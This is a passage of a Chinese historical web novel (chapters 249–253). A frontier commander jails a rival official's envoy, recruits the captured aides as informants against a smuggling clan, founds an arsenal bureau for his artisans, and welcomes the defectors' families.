只有凛冽的寒风,在不知疲倦地刮着。风雪迅速掩盖了现场的混乱痕迹,仿佛什么也未曾发生。
第249章 假公文和真投名
铁血军寨,后门外。蹄声如雷,雪浪翻涌。
秦猛身披黑色大氅,一马当先,率领着骑兵队如旋风般操练归来,刀锋在寒风中闪烁着冷光。
正撞见押解着苏珩一行人的**,秦小六。
“大人!”秦小六拍马上前,声音洪亮穿透风雪,“巡逻队擒获一伙形迹可疑之人,为首者嚣张至极,自称是幽州刺史府派来的签监镇官!”
“呜、呜呜呜……”
披头散发的苏珩猛地抬头,死死盯住秦猛,被堵住的嘴里发出困兽般的哀鸣,身子剧烈扭动。
几个税吏、文书早已面无人色,在四周铁甲军汉冰冷目光的环视下,瑟瑟发抖,噤若寒蝉。
秦猛居高临下地瞥了一眼,目光如刀,语气平淡却带着不容置疑的威严:“幽州派来的官员?可有燕北郡官员陪同?”
“回大人,没有!”秦小六高声应答。
“来边寨任职,那可有边防帅司的将官同行?”秦猛再次追问,声音提高,清晰地传遍四周。
**立刻抱拳回应:“禀大人,亦不曾见得!”
秦猛猛地一拉缰绳,战马人立而起,他环视在场军士,声如洪钟:“那依照大周边塞军律,无事先通报、无帅府引荐,擅闯军事禁地,该当如何?”
“当以奸细论处,先行扣押,严加审讯!”身旁的王善、徐强等将领齐声怒吼,杀气腾腾。
“但…但他们有刺史府的公文官印!”秦小六适时地拍马上前,递上那份被揉皱了的公文。
“公文?”秦猛看都不看,马鞭一挥。
“啪”的一声,将公文打落在地,卷入泥雪之中。
“前些日子,才有契丹**持假公文袭击巡检司驻地。这等东西,**要多少,便能造多少!”
他目光扫过苏珩那绝望扭曲的脸,声音斩钉截铁:“一无地方官引路,二无边防帅司行文,三不依规通报,形同鬼祟,不是奸细是什么?”
“来人!将这伙人统统打入地牢,待开春雪化,查实身份再行处置!”
“得令!”秦小六和**轰然应诺,扭着挣扎的俘虏就往军寨里推搡。
“大人,秦大人。误会啊!”厢军都头李双脸色惨白,经过秦猛马前时,拼命挣扎,喊道。
“卑职是幽州厢军都头李双!卑职劝过苏大人要先通报,可他非但不听,反而责骂卑职!”
“这真是天大的误会……”
秦猛冷峻的目光落在他身上,嘴角勾起一丝难以察觉的弧度:“是不是误会,查过才知。不过你放心,咱军寨只杀**,不杀囚徒。”
他顿了顿,俯身低语,声音只有李双能听见:“你是个明白人,又是个都头,接了这趟苦差,想必在幽州也不甚得意。是烂在地牢里,还是寻条活路,就看你…懂不懂取舍了。”
李双浑身一颤,还想说什么,已被军汉推搡着向前。
落在最后的苏珩,浑身湿透,冻得瑟瑟发抖。
就在即将被拖入寨门的刹那,秦猛策马逼近,马鞭挑起他的下巴,露出一个冰冷刺骨的笑容:
“崔文远那条老狗自己不敢来,派你这等货色触我的霉头?刘德福倒了,自然还有人要倒。
本官先拿你苏家开开胃,看看尔等蛀虫这些年,往草原送了多少钱粮铁器,肥了多少肚皮!”
“呜,呜呜呜!”苏珩瞳孔骤缩,终于明白这根本不是误会,而是针对他、针对崔刺史的狠辣算计!
秦猛用马鞭轻拍他的脸,语气却温和得可怕:“幽州是你们的地盘,到了这,就得有觉悟。地牢里,好好想想,怎么交代才能少受点罪。”
说完,秦猛冷哼一声,拨马让开。
“走快点。”**上去就是一鞭子,军卒推搡苏珩入寨。
就在这时,十余骑自飞虎卫营地疾驰而来,正是统领赵平与周扬。
“秦知寨,听闻你抓了幽州派来的上任官员?”赵平勒住马,瞥了眼苏珩的背影,直接问道。
秦猛心中了然,面上却一派肃然,指着地上被践踏的公文:“赵统领,巡逻队拿下的是一伙形迹可疑之徒,持假公文,冒充上官,按律当以奸细论处。
末将并未接到任何关于新任官员抵达的帅司行文。也不见地方官员与帅司将官陪同入寨。”
赵平目光一闪,立刻顺势道:“原来如此!既是可疑之人,自当严加看管。我即刻回禀将军,加强戒备。”
周扬悄悄拍马靠近秦猛,低声道:“秦知寨,将军之意,行事需谨慎,切记,勿授人以柄。”
秦猛咧嘴一笑,露出森白牙齿:“周大哥放心,规矩我懂。此事闹到朝廷,我秦猛也有理。
只是这帅司那边总派些魑魅魍魉来扯后腿,我这军寨穷得叮当响,要这劳什子监镇官做甚?”
……
军寨地牢,阴湿之气混合着霉味、血腥以及隐约的粪臭,扑面而来。
火把摇曳,映照着手持狼牙棒、枷锁等血迹斑斑刑具的狰狞军健,他们面目狰狞,脸带怪笑,目光如同打量牲口,在新来的囚徒身上扫视。
苏珩一行人被粗暴地推入各个牢房。
牢房深处,关押着不少衣衫褴褛、骨瘦如柴的女真、契丹俘虏。这些曾经嚣张的部落勇士们,早已被磨去了凶性,在角落里蜷缩发抖。
此情此景,让李双等人面无人色,满心绝望。
苏珩更是被捆得像粽子,堵着嘴,只能像蛆虫般在地上扭动呜咽,官袍污秽不堪,哪还有半分威风。
李双是个伶俐人,未被捆绑,见到地牢深处囚徒的惨状,心里明白秦猛说的待到开春查明身份处置,不过是个托辞,这时间遥遥无期。
他清楚漕运判官刘德福与秦猛的过节,也听过些许流言,知道铁血军寨与幽州官僚不对付。
不知过了多久,李双把事情始末梳理清楚。得知自己是受无妄之灾被卷入权力斗争漩涡之中。
“人不为己,天诛地灭。我有妻子孩子,还有爹娘要供养,可不想被你牵连死,死在这牢里。”
李双看看如同丧家之犬般的苏珩,秦猛说过的话言犹在耳。他突
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然扑到牢门边,拼命喊叫。
“我有话说,我要见秦大人!”
“我有用,我有重要情况禀报!”
很快,两名军汉进来,将他单独提走。
军寨官署,前厅内,炭火盆噼啪作响,驱散了寒意。
秦猛结束上午的训练后,回到官署正用着午饭,见到被带进来的李双,他示意旁人退下。
“扑通”一声,李双跪倒在地,涕泪交加地说:“大人,此事真与卑职无关,那幽州官场,早已烂透了。小的愿投效军寨,只求一条活路!”
秦猛放下筷子,目光锐利:“你起来说话。”
“是。”李双战战兢兢地起身。
秦猛唤来诸葛风和李恒后,这才看向李双:“说!”
“幽州政务,实由崔、杨、孙、苏四家把持!”李双急声道,“杨家将子弟安插厢军各级,把持军需;
孙家掌控吏治考核,党同伐异;
苏家,就是这苏珩的本家,表面经营粮庄、布匹,实则…实则长期通过边境榷场和秘密渠道,向草原各部落大量走私粮食、生铁、盐茶。
卑职多次奉命率队护送车队过境,深知内情。每年走私的生铁,足以打造数千副箭镞甲片;粮食更是不计其数,养肥了许多**部落……”
尽管早有耳闻,但听到具体数目,秦猛眼中依旧寒光爆射,拳头紧握,指节发白。
这些蛀虫,喝兵血,资敌寇,当真是罪该万死!
“卑职愿将所知路线、接头人、时间尽数禀报。只求大人给个机会!”李双又跪下来,磕头不止。
秦猛沉吟片刻,冷声道:“空口无凭。想让我信你,需纳投名状。”
李双抬头,眼中闪过一丝挣扎,随即化为决然。
“请大人吩咐!”
“很简单。将你方才所言,关于苏家走私的关键证据、一次最近的交易详情,写下来,画押。然后,”
秦猛身体前倾,“我会派人秘密潜入幽州,接你家眷来此安居。待你协助我军寨,成功截获一批苏家的走私货队,便是你立功之时,也是我真正信你之日,到时我保你做个队将。”
“卑职…领命。”
李双知道这是唯一生路,重重点头。
当李双被带回地牢时,并未回到原来的肮脏牢房,而是被送入一间单独囚室。室内虽简陋,却异常干净,甚至有棉被、衣柜、大浴桶等。
不久,狱卒还送来了热腾腾的白面馒头和肉菜。
其他囚徒也则是半块窝头和一碗清水似的稀粥。
这番景象,被对面牢房的苏珩等人看得清清楚楚。
苏珩先是目瞪口呆,随即明白了什么,眼中爆发出刻骨的怨毒,死死盯住李双,喉咙里发出嗬嗬的诅咒声。
其他随行人员眼神也变得复杂起来,恐惧中掺杂着一丝不易察觉的盘算。在这绝望之地,一丝不同的待遇,就足以悄然让人改换门庭。
……
军寨后门,秦猛亲自送别刘三、陈石等十多个精锐,目送他们顶着风雪,再次前往幽州城。
第250章 军寨生机,秦猛挨骂
北疆的苦寒,远超关内想象。
天色终日昏沉,如铅的云层低低压着军寨的旗杆。
寒风如刀,呼啸着切割一切敢于暴露在外的物体。鹅毛般的大雪纷纷扬扬,似乎永无休止。
若不及时清扫,只需一夜,积雪便能没过小腿。
营寨内外,负责清扫道路的队伍如同工蚁般勤勉。铁锹与地面摩擦的“刺啦”声,马车轱辘声不绝于耳,确保军寨内外和几条主干道的通畅。
双涡堡、巡检司、白松岭矿洞派来的劳力和巡逻队也与之配合,共同维系着这条脆弱的生命线。
白松岭矿洞的铁料、木材,每隔三日便如期送达。
李家、罗家等交好势力的队伍,也不定期冒着风雪运来粗盐、草料、优质煤料、木炭等物。
常氏粮行能量更是巨大,不仅会送来大量粮秣。有时还会送来许多猛火油,硝土等战略物资。
各种原材料被投入铁匠工坊、木工坊、衣甲坊、火器坊……
匠人们不辞劳苦,在工坊内各司其职。打铁声、拉锯刨木声、妇人说笑声,与鞣制皮料的捶打声,交织成一曲粗犷而充满生机的乐章。
刀枪被淬火开刃,闪着寒光,**被校准调试,绷紧的弓弦蓄势待发;箭矢一捆捆码放整齐。
御寒的棉衣、皮裘等也源源不断缝制而出,一箱箱安全固定的**,竹筒雷被封存入库。
这一切,都是军寨在这酷寒中赖以生存和战斗的根基。
寨外,两座飞虎卫驻地,每天都有骑兵运送相应物资入军寨。出来后,马蹄钉上马蹄铁,配双马镫,骑兵在滑溜的冻土上奔腾训练着……
日子,就在这紧张的训练与高效的运转中悄然流逝。
与其他边堡临时集市早已关闭、一片死寂不同,铁血军寨的集市竟顽强地在这冰天雪地中存续下来。
除军寨扶持经营的十多家铺面,常九、李家、罗家等大商号,如同风雪中的磐石,他们的铺面始终敞开,不仅物美价廉、满足了寨内军民的基本需求,更成为一种信心的象征。
人,都有从众心理。
一个人抬头看天,就会带动一群人仰望天空。
见这些实力雄厚的商队稳坐钓鱼台,一些中小商队和个体户也打消了撤离的念头。他们发现,在这极度严寒中,反而因竞争减少而觅得商机。
或是赚取了银钱,或是收购到了平日难见的山货皮草,甚至得了军寨有意抛射的牲口。
利益驱动之下,他们不仅留下,反而更加活跃,甚至开始鼓噪,要求军寨方面尽快修建正式的商铺与民居,他们愿意出资购买或租赁。
老保长王槐每日拄着拐杖溜达,就被这些人围堵,虽不胜其烦,那布满皱纹的脸上却难掩笑意。
这喧闹,正是军寨生机勃勃的明证!
他索性不再等待,冒着风雪,又组织起了人手,开始动工修建规划中的商业街铺面与民居,连带附寨那因大雪而未完工的学堂也一并复工。
人们的夯土号子声,竟与校场操练声遥相呼应。
军中生活枯燥,尤其是在这古代。
各种娱乐项目极其匮乏,秦猛深谙张弛之道。此前命人负责娱乐项目,此时,派上了大用场。
寒冬腊月,呵气成霜。
白日里喊杀震天的操练声已然歇下,取而代之的是围坐的军卒们或凝神沉思、或低声争辩的喧嚣。
象棋棋盘上,楚河汉界分明,厮杀虽无声,却自有一股金戈铁马的意味;
扑克牌局中,计算、配合、虚张声势,也让这群精力过剩的汉子们找到了宣泄智慧的出口。
营中气氛,较之以往单纯的枯燥严苛,确实活络、融洽了不少。
秦猛看着这般景象,心下正自满意。由陈麻子、何先发等人带头,这两种新奇玩意儿已如星火燎原,成了士卒们训练之余最好的消遣。
连带着斗腿,角抵、摔跤等群体活动的参与也更热烈了几分,军中士气凝聚,有目共睹。
然而,这世上果然没有不透风的墙。
这异于往常的“热闹”,很快便传到了仅一寨之隔的飞虎卫营地,自然也传到了主将赵将军的耳中。
这日午后,亲兵来报,说是赵将军身边的亲兵统领赵平前来,请秦猛过去一趟。
秦猛出帐相见,只见赵平神色古怪,抱拳行礼后,低声道:“秦老弟,将军让你速去中军大帐。”
他眼神闪烁,似有未尽之言,终究只是化作一句,“将军……心情不大好,老弟得小心应对。”
秦猛心头咯噔一下,似乎、隐约猜到了几分,整理了一下衣甲,便随赵平前往主将大营。
刚踏入温暖却气氛凝重的军帐,不等他行礼,端坐主位的赵将军便将手中一卷兵书重重拍在案上,发出“啪”的一声脆响,随即勃然作色:
“秦猛!你近日在营中做的好事!”
赵起声如洪钟,带着毫不掩饰的怒意。
秦猛连忙躬身:“末将不知将军所指何事?”
“何事?”赵将军豁然起身,指着营外的方向,“你还有脸问
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?不好好琢磨练兵打仗,尽搞些歪门邪道!
那什么象棋、扑克牌,还有鸟足球,是不是你弄出来的?玩物丧志,扰乱军心,真是岂有此理!”
秦猛心道“果然”,却也不慌,试图解释:“将军息怒,请容末将解释。这象棋,模拟两军对垒,蕴含排兵布阵之法,能助将士们推演战术,领悟战机。
至于扑克牌,仅是训练间隙、休整时的消遣,严令禁止**,一旦发现,必当重惩!此举只为张弛有度,缓解弟兄们平日紧绷的心绪……”
“放肆!还敢狡辩?”赵将军根本不容他分说,声音又拔高了几分,“你身为一营主官,带头鼓捣这些奇技淫巧,让麾下将士如何作想?
若传入帅司乃至朝中御史耳中,参我飞虎卫一个军纪涣散、将士嬉戏成风,你担待得起吗?”
他显然是打定了主意要借题发挥。以往秦猛办事谨慎,少有疏漏,让他这个上官想敲打都找不到由头,如今好不容易逮住这个看似“不务正业”的把柄,岂能不趁这个机会骂他几句?
“将军,末将实在是为了……”
“为了什么?为了让你自己好玩吗?秦猛,本将看你近来是太过顺遂,忘了为将者的本分!”
接下来的小半个时辰里,赵将军引经据典,时而痛心疾首,时而厉声斥责,将“玩物丧志”的危害从个人上升到军国大事这种层面上。
骂得秦猛几乎抬不起头来!
秦猛也只能做出恭顺受教的模样,偶尔辩解两句,立刻便被更猛烈的炮火覆盖,只能老老实实,闭嘴挨训,一只耳朵进,一只耳朵出。
最后,赵将军似乎骂得累了,才挥挥手,没好气道:“滚回去,将这些乱七八糟的东西都给本将收了。若再让本将发现,军法处置!”
“末将……遵命。”秦猛耷拉着脑袋,一脸沮丧地退出了中军大帐,来时的那点轻松早已荡然无存。他不由自主地想到下次来要带上乌维。
然而,第二天一早,情况就变得微妙起来。
心腹李山和王善先后悄悄来报,神色颇为奇异。
“大人,怪事!飞虎卫秦卫营,狂风营,雷霆营等,昨夜开始,竟都有人在悄悄仿制象棋和扑克牌!”
“是啊,尤其是赵将军的亲兵营,好像做得最起劲!属下还看到赵平统领在一旁看,指手画脚……”
秦猛先是一愣,随即恍然大悟,一股难以言喻的情绪涌上心头,忍不住低低爆了句粗口。
“我靠!合着这顿骂是故意的!”
第251章 军器监
赵起将军哪里是真心反对?他这个老行伍又岂能不知道兵卒长期训练,精神紧绷的坏处?
分明是眼见着因秦猛搞出来这些“玩意儿”士气高涨。心中欢喜不已却又不好明着支持,怕落下口实,便来了个“明修栈道,暗度陈仓”。
当面严厉斥责,是做给可能存在的“上面”看的;背地里,却默许甚至纵容其他各营效仿。
这顿骂,挨得可真冤枉!
想通了此节,秦猛哭笑不得,他不得不感慨,这世上有些事儿,能做不能说,看破不说破。
不过,赵将军一顿骂倒提醒了他。
秦猛当即找来陈麻子,石地虎,何先发等人,告知一声后,先奖励,后发文痛批他们玩物丧志。
并且着人拟定,“军营之中不可嬉戏成风,**”等禁令,私下**者,按军阀处置。私下里却对捣鼓出来的娱乐项目睁眼闭眼。
象棋、扑克因制作没有技术含量,趣味性强。又在将领或明或暗的推动下,迅速落实到位。以更为夸张的速度在飞虎卫全军蔓延开来。
成为军卒训练间隙,最好的消遣,再加上群体娱乐,高强度训练带来的压力得以宣泄,袍泽之情愈发深厚,无形中提升了士气与凝聚力。
时光荏苒,转眼到了正月十五。
肆虐了近一月的风雪,终于在昨夜渐渐小了。
天地间银装素裹,白茫茫一片,寻常荒原积雪深可没膝。
背风的山坳处,积雪更是厚达数尺,人若陷入,几近没顶。
清晨,天光大亮。东方天际泛起一抹久违的鱼肚白。
随后,一轮橘红色、带着暖意的朝阳,缓缓跃出地平线,将金色的光辉洒遍雪原,也照亮了军寨每一个角落。
正月十五,上元佳节,又称灯节。
在这北疆军寨,其热闹程度竟比年关更胜三分。
两日前,军寨各处便挂起了各式花灯,这都是常九、李家、罗家等商队为了在军民心里留下好印象,特意从郡城运来,挨家挨户赠送的。
一到夜晚,军寨如同不夜城。
灯火璀璨,映照着皑皑白雪,别有一番瑰丽景象。
大雪初停,临时集市再次人声鼎沸。
军寨以工代赈,流民们大多积攒了些余粮,纷纷到军需处兑换成银钱,再到集市购买所需物资。
而得钱的商队,转头又向军寨商铺购买北风烈、雪花盐、驮马肥羊乃至上好皮**,军器等。
银钱如此流转一圈,竟有大半又回流到秦猛手中。
这内循环一旦形成,军寨获益良多,生机勃勃。
秦猛见状,再次下令,让经历严苛训练的兵卒轮番放假一日,与民同乐,来消费带动经济。
就在集市上人头攒动,欢声笑语弥漫军寨之际,军寨官署的正堂内,却是一片肃穆的气氛。
一场关乎军寨根本的会议正在举行。
铁匠、木工、衣甲、火器,四大军工坊的工头及主要骨干匠人,共计二十余人,齐聚于此。
大伙虽说不知道具体要干啥,但瞧见坐在上头的秦猛脸色严肃,两边的王槐、诸葛风、赵开明等人也都不说话,心里就明白肯定是大事。
一个个都屏住呼吸,不敢出声。
秦猛的目光,慢慢扫过底下这些脸黑、手糙,眼里带着匠人独有的专注劲的男女,沉声开口:
“各位师傅,自打你们跟着军寨办起这些工坊,不管天冷天热,白天黑夜的干活,从没喊过苦。
士兵手里的刀,身上的甲,打仗用的**,全是你们做出来的。军寨能有今天,你们每个人都立了大功!”
这番实实在在的认可,让不少老匠人眼圈都有点红了,下意识把常年累得有点弯的腰,悄悄挺直了些。
“可是啊,工匠这行历来就没人瞧得起,地位也一直低人一等。”秦猛话头突然一转,嗓门也提高了,“这太不公平!今天把大伙叫来,就是要改了这破规矩,给你们正名、定身份!”
他稍微侧过脸,看向身边的诸葛风。
诸葛风立马明白意思,往前迈了一步,展开一份墨迹还没干的文书,大声念道:“奉秦大人命令:从今天起,把铁匠、木工、衣甲、火器四个工坊合并,成立‘铁血军器监’!
从现在起,你们都算进军籍,是军寨正式的带编人员!工头和技术骨干,按本事定级别,最低也给个从九品的官身!”
“军器监?军籍?官身?”
这几个词跟炸雷似的,在大伙耳朵里响开了。
一时间,屋里静得连掉根针都能听见。工匠们你看我、我看你,脸上全是不敢相信的震惊。
摆脱一辈子的匠籍,还能当官?
这是他们祖祖辈辈想都不敢想的事!几个年纪大的匠人身子都有点发抖,差点没哭出来。
范良使劲攥着拳头,李根生想起为此奢望的祖父。
王翠花更是眼眶泛红,她一个女人家,居然也能有这机会?
等大伙稍微从这冲击里缓过点劲,诸葛风接着宣布具体的人事安排:“军器监正使这职位,暂时由在下兼任。
提拔李根生、鲁明
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当副使,除了管原来工坊的事,再负责监里的物资调配、人员协调。
提拔范良、王翠花当都匠头,分别管火器坊和衣甲坊,顺便帮副使考核、调动下面的工匠。”
被点到名的四个人,强压着心中激动,赶紧站出来,恭恭敬敬地接了命令。
接着,管钱粮的李恒站了出来,宣布最实在的待遇,把秦猛和王槐、诸葛风,赵开明等人反复琢磨好的规章制度,一条一条说清楚:
“副使每月工钱十五贯,都匠头十贯。
工匠分四级:大师级每月十贯,高级五贯,中级三贯,初级两贯,就连学徒每月也有一贯。另外按工匠的级别,每个季度还有岗位补贴……”
这么好的待遇,还有明明白白的升职路子,尤其是那句“凭手艺分高低,靠本事拿工钱”,彻底把所有工匠的心思给点燃了。
这意思就是,他们一辈子钻研的手艺,这回真得到了从来没有过的尊重,也真的值钱了!
屋里顿时响起一片压不住的兴奋议论,全是真心的叫好。
会后,文书们赶紧把详细的规矩抄了好多份,贴在各个工坊门口、饭堂外墙上这些显眼的地方。
立马就围过来一大堆军卒和老百姓,识字的大声念,不识字的着急打听,一阵惊呼跟议论。
“我的天!张师傅成从九品的官了!”
“王婆子更牛,都当上都匠头了!每月十贯钱呢!”
“以后说啥也得让我家娃学门手艺,这有奔头啊!”
……
温暖的阳光却无法驱散冬日的寒意。
空旷的原野已被厚厚的积雪覆盖,天地间一片苍茫,风卷起的雪沫在空中打着旋,模糊了视线。
在这冰天雪地中,一支车队正如同长蛇般在雪地上碾出深深的辙痕,向着铁血军寨的方向蠕动。
队伍中,可见数十辆装载着箱笼物资的大车,以及更多徒步而行的人群,至少有数百人之多。
车队最前方,刘三与陈石并辔而行。
两人皆是用厚厚的皮袄裹紧了身体,帽檐和眉睫上结了一层白霜,脸庞被寒风刮得通红。
但他们的眼神却锐利如鹰,不断扫视着四周的环境,警惕中带着一丝完成任务后的松弛。
“总算是回来了,”刘三吐出一口白气,声音带着疲惫的沙哑,“这趟幽州之行,可真是不容易。”
陈石点了点头,铁铸般的脸上难得露出一丝笑意:“接回了李都头他们的家眷,与暗部接上头,招揽了这许多工匠青壮,大人必定欣喜。”
第252章 精兵操练,家眷抵营
作坊合并,军器监设立是势在必行的。官署内,秦猛正跟王槐、诸葛风等人商量接下来的打算。
“工坊已经合并完了,名分也正了,有了奔头。人员调动更加顺畅,以后效率定能提升一大截。”
秦猛琢磨着说:“接下来,酿酒、煮盐,还有开春后打算开的制糖作坊,我想把它们合并成‘资源部’,专门负责搞钱,用来充作军饷。”
“以后凡是有财源门路都并入其中。”
“这一项由王老爷子负责,尽快落实。”
可他话还没说完,就听见外面传来一阵急促又杂乱的脚步声,从远到近,**边嚷嚷着边闯入,急忙禀报:“大人,大喜事!探马来报,刘三、陈石他们……他们从幽州回来了!”
“真的?”秦猛一听见这话,“噌”地就站起来,连案桌都带得晃了一下,脸上顿时露出喜色。
随后他看着老保长王槐和诸葛风等人,语速愉快地吩咐:另外,军寨工程部管盖房子、修城墙,农业部负责规划种地。一个多月后,天气逐渐回暖了,这些都得赶紧搭起架子来……”
“得令!”王槐,诸葛风等人齐声回应。
……
前寨军营的校场上,此刻正弥漫着令人心悸的肃杀之气。
寒风似乎也被那冲天的杀气所阻,变得迟疑起来。
点将台上,副将秦大壮如山岳般矗立。
他身披一套飞虎卫将军重铁甲,外罩战袍,手持令旗,原本黝黑的面容略显憨厚,但眉宇间却凝聚着一股过去不曾有的沉稳与威严。
他目光如炬,缓缓扫过台下五百名正在操练的步兵方阵。
“进!”
“杀!”随着秦大壮一声令下,士卒们齐声怒吼,声震四野,仿佛要将这漫天风雪都喝退。
只见**如林,伴着铁甲的铿锵碰撞,齐刷刷刺向前方,动作整齐划一,带着一往无前的凌厉气势。
随着令旗舞动,阵型随之变换。
时而如墙而进,是密不透风的**阵;时而迅速散开,刀盾手突出,演变为突击阵型;时而收缩环绕,盾牌外举,转为坚实的防御圆阵。
变阵速度极快,令行禁止,如臂使指。
这支军队已然初步具备了精兵的气象。
这得益于“三三制”的严格执行,以及临时增设的各级战阵官——小组长、小旗官、大旗官。
这些在训练中涌现出来的组织能力强、勇猛善战又威望高的士卒,构成了军队坚实的骨架。
更重要的是,经过这段时间近乎折磨式的反复编组、打乱、再编组的合练,这五百军卒彼此之间已熟悉到骨子里。
无论将任何一人抽调到任何一个小队或大队,只要听到命令,就能迅速找到自己的位置,融入战阵,默契配合。
秦大壮甚至时常进行极端演练:模拟自己在战斗中突然“阵亡”。
而每一次,都不需要他额外叮嘱,副官或现场职位最高的军官会立刻毫不犹豫地接过指挥权。
号令声不绝,整个队伍阵型丝毫不乱,攻击与防御转换流畅自如,战斗力得以最大程度的保持。
“边军气象果然不凡,假以时日,必成一支虎狼之师。”
幽州厢军都头李双如同一杆标枪般挺立在校场边缘,看着眼前这支精兵操练,忍不住低声赞叹。
他眼中闪过一丝复杂,既有对厢军的对比产生的黯然,更有对这支队伍缔造者秦猛的深深敬畏。
他和他带来的三十名原厢军士卒,此刻也穿着铁血军寨发放的统一号服,夹杂在辅兵与新兵队伍中,一同接受着严格的军事训练。
无论是站军姿、走队列,还是基本的体能训练和格斗,他们都必须从头学起,无人可以例外。
甚至连一同被“请”来的那七八名幽州文吏、税吏,此刻也在不远处临时腾出的仓房内忙碌着。
他们负责记录、统计军营的粮秣储备、每日消耗,虽然脸上偶尔还会掠过一丝身处险地的忐忑,但干活时却异常卖力,不敢有丝毫懈怠。
——毕竟,在这里,效率低下可能意味着真正的危险。
这批人为何出现在这里?
那是因为世上可没有那么多硬骨头!
自从那天被抓起来送入地牢后,李双率先投靠,吃的好喝的好,这一个标榜让人心思变。之后**,牛五展示一番如何审讯俘虏的手段。
这些家伙一个个也喊着“我有话说”“我见秦大人”。最硬气的一个人,饿了两顿,第二天也扛不住了,丢下了苏珩大人,叛变了阵营。
秦猛则称赞他们是识时务者为俊杰,从他们的口供和投名状,得知了许多不为人知的秘密。都是有关幽州官僚之间的各种龌龊事件。
他也没有为难这些连杂鱼都算不上的小喽啰,一股脑子送到前寨军营,接受军事化管理、训练。而几个文吏为大队预定组建后勤而准备。
“呜——”
一声短促而有力的号角声划破校场上空的喧嚣。
“全军休整!”秦大壮的声音如同洪钟,传遍校场。
刹那间,刚才还杀气冲天的军阵有序解散,士卒们活动着有些僵硬的手脚,脸上露出轻松的神情。
不少人自发地聚拢在一起,或谈笑风生,或围坐在地,取出简陋的棋盘和用木头削成的棋子,也有几人凑在一起玩着扑克牌博戏。
李双等人也得以稍息,他们不自觉地被那些
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下棋的军卒吸引。
尤其是那黑白分明、规则看似简单却蕴含杀伐之道的象棋,让李双看得目不转睛,心中暗忖:“这位秦大人练兵、治军、乃至娱乐,皆有其法,处处透着不凡,当真深不可测。”
就在这片相对松弛的氛围中,一匹快马踏雪疾驰而入校场,马上骑士勒住缰绳,目光锐利地扫过,高声喊道:“李双、何方……及以上诸位,速至主寨,秦大人有紧要之事召见!”
李双与身旁的几名头目,文书吏心中皆是一凛,互相交换了一个眼神,不敢有片刻耽搁,立即出列。
在一队精锐骑兵看似护送、实则也含监视意味的陪同下,他们离开了热火朝天的校场,踏着积雪,向着核心主寨走去,心中忐忑不安。
军寨官署建筑类似烽燧堡,远比外面看起来更加宽敞坚固,厚厚的石墙有效地阻挡了风寒。
前厅内炉火烧得正旺,上面架铁锅烧着热水,炉内跳跃的火光带来融融暖意,驱散了冬季寒冷,也映照得主位上的秦猛面容明暗不定。
他暂时卸下甲胄,只是一身绯色官服,外罩一件裘皮大氅,看似随意,但大马金刀地端坐那里,自然而然便有了一种不怒自威的气势。
李双、何方等七八名原幽州军头,文案吏,略显拘谨地站在厅下,心头也压着一块巨石,不知这位手段莫测的秦大人突然召见所为何事。
秦猛没有让他们久等,目光平静地扫过众人,直接开门见山,声音沉稳有力:“召诸位前来,是告知一个消息。
刘三、陈石已从幽州返回,一路辛苦,所幸不负所托。”
他略微停顿,观察了一下众人的反应,继续道:“你们的家眷,已接过来随车队一同抵达,此刻应已快至后寨门外,不久便可入寨安顿。”
此言一出,如同在平静的湖面投下一块巨石。
李双等人先是猛地一愣,脸上写满了难以置信,随即眼中爆发出巨大的惊喜,但紧接着,那惊喜又被一丝更深的不安和疑虑所覆盖。
家眷来了,意味着牵挂有了着落,但也可能意味着他们被彻底绑死在这军寨之中,再无回头路。
秦猛将他们的神色变幻尽收眼底,语气依旧平静无波,却带着一种不容置疑的坦诚:“有些选择既然做了,那便没有回头路可走。
树挪**挪活,换个地方当差未必不是好事。何必在幽州这棵腐朽的歪脖子树上吊死呢?你们庆幸自己没有陷得太深,能够从容回头。”
“谨遵大人教诲。”李双拱手,真心实意地回应。其他人也纷纷高呼,动作整齐,态度恭敬。
毕竟左右两排**和牛五率领的刀斧手何等友善?
第253章 表忠心,纳投名
形势比人强,任何人都得是识时务者为俊杰。秦猛对这一点看得尤为透彻,没有弯弯绕。
“当初承诺,接回家眷,妥善安置,秦某言出必行。寨中已为他们备好了遮风避雪的屋舍,会足量发放米粮柴薪,确保这个冬天衣食无忧。
待到来年开春,土地化冻,也会按寨中规矩,入军籍造册。分予你们各家足额田地耕种,使他们能在此安居乐业,你们也无后顾之忧。”
厅内一片寂静,无人回应。只有炭火燃烧时偶尔发出的噼啪轻响,衬托得气氛更加凝重。
李双等人屏住呼吸,知道接下来才是真正的重点。
果然,秦猛话锋微转,虽然语气并未变得严厉,但每个字都加重了分量:“然而,想真正在军寨立足,让我寨中上下军民真心接纳。尔等有所取舍,需做一事以明心志,断旧念。”
他的目光变得锐利起来,缓缓道:“便是按照说好的纳投名状,你们返回幽州复命,与军寨联络送情报,告知苏家往草原输送粮秣、盐巴、铁器等物资,何时,在哪,详细传回。”
“投名状”三个字,如同惊雷,在众人心中炸响。
虽然早有心理准备,但被如此直白地提出来,仍让何芳等人脸色发白,手下意识地握紧。
厅内的空气仿佛都凝固了。
沉默持续了数息。李双深吸一口气,仿佛下定了决心,他猛地向前踏出半步,抱拳躬身,声音因为激动而略显沙哑,却又异常坚定铿锵。
“大人明鉴!此事……我等心中早有预备!大人仁义,未因我等身份而轻贱,反而信守承诺,接来我等家小,予以安顿,此等恩义,重于泰山。
我李双虽是粗人,但却是汉人,更知‘士为知己者死’的道理。若再首鼠两端,岂非猪狗不如?
这投名状,我等心甘情愿去取!定不负大人期望,彻底斩断前缘,从此唯大人马首是瞻!”
他的话语掷地有声,在空旷的大厅内回荡。
身后,何方等人见他表态,也纷纷压下心中的犹豫,齐声附和:“愿听大人差遣,誓取投名状!”
秦猛深邃的眼眸中,掠过一丝极淡的满意之色。
他微微颔首,语气缓和了几分:“好!君子之交,贵在坦荡。我秦猛行事,向来不喜蝇营狗苟之举,也不愿拿家眷做文章,只是,咱们之间没有建立起信任基础,只能出此下策。”
“大人言重了,这个我们清楚,这种防范是必要的。我李双说话算话,定不负大人期望。”李双看了看手下众多兄弟,上前半步,铿锵回应。
他这番话倒是发自肺腑的。
因为在军寨这些天,也认识了许多朋友,也得知漕运判官刘德福心腹刘三也投靠秦猛,燕北郡董袭手下吴二,曾经军寨的敌人也成了副使,冷艳山贼更是有不少人得到重用。
这位秦大人的心胸开阔,难以想象
只要自己有能力,再把事情办好,绝对能够受到重用,而不被排挤,更不用担心被秋后算账。
李双没少跟手下的弟兄唠嗑,早就打定主意真心投靠,不想在幽州那个龌龊的地方受气。
“我等定当竭尽全力办事!”何方等人纷纷表态。
